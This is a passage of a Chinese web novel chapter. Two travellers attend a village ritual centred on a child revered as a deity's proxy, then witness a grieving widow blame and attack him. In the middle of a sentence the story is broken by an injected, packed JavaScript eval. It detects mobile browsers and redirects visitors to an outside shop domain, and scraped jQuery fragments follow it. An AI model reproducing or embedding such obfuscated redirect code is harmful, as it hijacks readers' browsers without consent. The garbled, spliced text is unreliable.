在连着烤糊三四条鱼之后,这群孩子终于在长生的指导下成功烤出了一条能吃的鱼。孩子们在为自己刚刚掌握了一项新的人生技能而欢呼雀跃,一旁的长生却仿佛苍老了十岁,一脸的生无可恋。
好在小孩子做什么事都是三分钟的热度,啃完了自己的劳动成果,孩子们便跟他们道别,一溜烟地跑出了院子,去寻找新的乐子了。
云朵一脸坏笑地拍了拍蔫头耷拉脑的长生,问道:“长生师父,教徒弟的感觉如何呀?”
长生哭丧着脸:“师父,你就不要再拿我寻开心了!我最不擅长应对小孩子了。”
云朵挑眉:“这话我听着怎么不太对?你拿小孩子没辙?你自己不也是小孩子吗?”
长生摇头:“不不不,我怎么看都比他们大吧!”
云朵:“你比他们大的岁数,我一只手都数得过来。”
长生:“不能这么算啊,师父!我可是经历过生死劫难的人,我的心理年龄可比他们大多了。”
云朵懒得跟他掰扯这个,摆摆手道:“好吧,那长生大哥哥,今晚赏脸跟我一起参加他们这儿的敬神祝祷仪式呗?”
长生:“敬神祝祷仪式是什么?”
云朵把刚才那妇人的话大致复述了一遍,长生听着听着,眉头逐渐皱到了一起。
“师父,你是不是也觉得,咱们之前夜宿的那个山洞,跟这个村子有些关联?”
云朵点头:“正是,不然这实在是太巧合了。正好他们邀请我们了,我们便去看看,这些人到底在搞什么名堂。”
酉时,夕阳熔金,将天空染成一片温暖的橘红。
云朵带着长生准时出现在了仪式现场。他们赶到时,仪式已经临近开始,场地里已经坐满了人。而在人群的正中心,端坐着一个眉目如画的孩童。
——这位大约就是被村民们尊称为“北斗童子”的孩子了。
他穿着用靛蓝染布缝制的干净衣裤,小小的身躯挺得笔直,神情带着一种超越年龄的平静。他的双眸清澈透亮,映照着天边最后的余晖,竟让云朵有一种这小小少年已经看透生死的感觉。
村中的男女老少围坐在他周围,距离他十步左右。
空地边缘,几支松脂火把被点燃,跳跃的火光取代了夕阳,照亮夜色,在人们脸上投下明明暗暗的光影。
没有人说话。场中的村民,无论男女老幼,皆一言不发,仿佛默契地在等待着什么。
一片寂静中,村长起了一个悠长的调子,如同石子被投入湖水,激起了一圈圈涟漪。其他村民跟随着村长的歌声,都张开了嘴,声音或洪亮或低沉,或清脆或沙哑,如同百溪汇流,汇成一股质朴而磅礴的声浪,齐声唱和。
云朵和长生坐在人群的外围,静静地旁听。他们唱的歌词很直白,就是在向北斗星君传递他们的愿望:家庭和睦、风调雨顺、诸邪退散。大人们都唱得真挚又虔诚,孩童们还没有到理解这一幕的年纪,只是学着大人们的强调和唱词,为这大合唱增添一分生机。
随着最后一句的尾音落下,歌声停歇,一时间场上只剩下了火把燃烧的噼啪声。
一直沉默端坐在人群正中的北斗童子终于开口。这个年纪的孩子尚未经历变声期,嗓音纯净,如泉水叮咚,环珮相击。他是北斗童子,是神君在人间的代理人,也是信徒们的传声筒。他的歌以神明的口吻向人们承诺,他们的请求都会被接受,愿望都会被实现。他向他们保证,每一次从梦中睁眼,他们都将迎接人生中最美好的一天。每当除旧迎新的爆竹声响起,他们都会迎来更加顺遂的一年。
得到了神明的承诺,村民们变得更加兴奋。围坐的人群动了起来,所有人都站起了身,坐着歌唱已经无法传达出他们澎湃的情感。
他们踏着简单的、有力的步伐,开始围绕着北斗童子顺时针转起圈来。脚步踩踏着土地,发出沉闷而整齐的“咚、咚”声,如同大地的心跳。手臂也随之摆动,歌声也变得更加热烈欢快。
火光跳跃,人影憧憧。
被围在中心的童子,小小的脸上也露出了浅浅的微笑。他安静地坐在那里,仿佛沐浴在信徒们虔诚的感激中。
云朵看着他脸上几乎可以被称为圣洁的微笑,在场周橙黄火光的包围中,内心却泛起丝丝缕缕的寒意。这位北斗童子所有的表现堪称完美,仿佛他小小的身体里真的装着一个慈悲的神明。但她十分清楚,这里没有神明,只有一个被大人推上神坛的可怜孩子。她实在是很难想象,这个孩子究竟经历了什么,才能像这样被扼杀掉活泼好动的天性,成为一尊完美的傀儡。
“云姑娘,既然来了,就一起加入我们吧!”一个声音打断了云朵的思绪。她抬头看去,只见中午特意来邀请她的妇人竟脱离了跳舞的大部队,来到她和长生面前,邀请他们一起跳舞。
云朵的目光在妇人的脸上淡淡扫过,投向了远处依然在旋转跃动的人群,答道:“我们初来乍到,不太懂仪式中的规矩,恐怕一个不小心唐突了星君。这次我们就先观摩你们的仪式,若我们能待到下个月月初,一定加入你们共同欢庆。”
那妇人见他们拒绝,也没有强求,跟云朵客套几句后,就又返回了跳舞的行列。
目送妇人远去,云朵垂眼看向长生,刚好长生也抬起头,用惴惴不安的眼神看过来。
云朵俯下身,凑到长生耳边,低声道:“长生,师父交给你个任务吧。”
-----------------
第二天一早,云朵照常把长生拎到院里练剑,不出一盏茶的工夫,云朵便听到远远地传来了小孩子的嬉笑打闹声,伴着“哒哒哒”的脚步声越来越近。
云朵朝长生使了个眼色,长生回给她一个“收到”的眼神。
推开院门,云朵刚好迎上了长生的小粉丝们。几个小孩在她跟前将将刹住了车,抬起汗湿的小脸,七嘴八舌地跟她打招呼:
“啊,云姐姐!”
“云姐姐早上好!”
“云姐姐要出门吗?”
云朵笑眯眯地回道:“早上好呀。今天又来看长生练剑啦?我正好出门有事,你们好好玩哦!”
“好!”
长生这边暂时搞定,剩下的就看她的了。
云朵一边沿着路往村子中心走,一边寻找目标。但目标还没找到,就先被一阵哭喊争吵声吸引去了注意力。
前方不远处围着一堆人,那撕心裂肺的哭喊声就是从人群中发出的。她悄悄走到人群外围,透过人与人之间的缝隙往里看去。
人群围出来的圆形空间内,一名妇女跌坐在地上,头发凌乱,双眼都哭肿了,充着血,死死地瞪着前方,喉咙里挤出不成调的嘶吼。
在她前方的身影,云朵认得,正是昨晚被村民们围在中间的北斗童子。此时,他正被几个壮汉牢牢护在身后,小小的身体僵硬地站着,那张总是带着超然平静的小脸上,此刻覆盖着一片茫然和惊惧。他胸前的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062205|195068||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
衣襟被扯得乱七八糟的,有些地方甚至撕裂了,露出的脖颈上还有几道鲜艳刺目的红痕。
云朵看着这架势,对发生了什么大概明白了个七七八八,但为了验证她的猜想,还是轻轻拍了下前边人的肩膀,那人转过头来,是个年纪跟云朵差不多的少年。
云朵装作什么都不知道的样子,小声问:“这位小哥,请问这是发生了什么呀?”
那少年叹了口气,解释道:“坐在地上的这位大姐姓刘,她的丈夫叫李大山,是我们村最有经验的采药人,再深的山、再陡的悬崖对他来说都像回家一样。前两天,他为了去采一种很稀有的草药,冒险去了黑雾较浓的地方,从此再没回来过。待村里组织去搜寻的人找到他时,人早就咽气了,怀里还紧紧地护着那棵草药……唉!他们家一共三个孩子,最小的儿子去年才出生,全家人都靠着大山哥吃饭,这下人没了,可怎么办啊!”
云朵:“那真是太可惜了,希望她早日振作起来。不过,我看她对面站着的就是北斗童子吧?为什么看上去,他们之间矛盾很深?”
少年:“是的,他的本名叫知夏,他们之间……也不算有矛盾吧,只是大家平日里向北斗童子献祭、祈祷,都是为了生活安康,结果昨天刚举行完仪式,今天就出了这档子事——”
“是你——!!你没有保佑好我男人!”一声沙哑的嘶吼打断了少年的话。坐在地上的妇人突然暴起,不要命似的朝知夏扑去,被几名村民死死地抱住了。她四肢胡乱地扑腾抓挠,脸上泪水纵横,冲着知夏的方向,字字泣血:“每天!每天他都带人去采药!为了大家伙儿!他说黑雾边上能找到救命的药……他说神明会保佑心诚的人!!”
吼完这一长串,她突然脱了力,借着抱住她的人滑坐回地上,双手捂着脸,呜呜哭泣。
“他信你……他把你当神仙供着!他说有北斗童子在,神明就看着咱们……可结果呢?!就为了这棵草!他……他跌下去了!他们找到他时……他怀里就抱着这个!抱着这个没用的草!!”
人群死寂,只有妇人粗重的喘息和压抑的啜泣。那些平时围绕在知夏身边虔诚祈福的脸庞,此刻都染上了复杂的情绪。
“神明不保佑!童子不显灵!!”妇人积蓄起最后的力量,再次爆发出骇人的尖叫,试图挣脱束缚,“他死了!他死了!!你们护着这个没用的泥胎有什么用!!让我掐死他!让神明看看!看看祂选了个什么废物!!”
眼见她又要发疯,周围的人赶紧上去拦她。可她状若疯魔,力气大得惊人,竟真的挣脱了一只手,枯瘦的手指再次抓向知夏的方向,带着同归于尽的绝望。护着知夏的汉子们七手八脚地将她向后拖,好几个男人也急忙上前帮忙,场面一片混乱。
“大山家的!你冷静点!”
“使不得!使不得啊!”
“大山是为了大家……你莫要迁怒童子啊!”
劝慰的声音苍白无力。
知夏也被这汹涌的恶意和混乱彻底吓住了,小小的身体剧烈地颤抖起来,那双清澈的眼眸里充满了委屈和茫然。
云朵突然想起了她之前在栖云镇的遭遇,当时的她,在旁人看起来也是这样无用又无助吗?
信仰的力量太沉重了,当担负起信仰的人无法回应凡人的绝望时,就会像这样,被那滔天的怒火焚烧殆尽吧。
可他不是神明,他只是个孩子。
在这座信奉神明的小村庄里,他才是真正的祭品。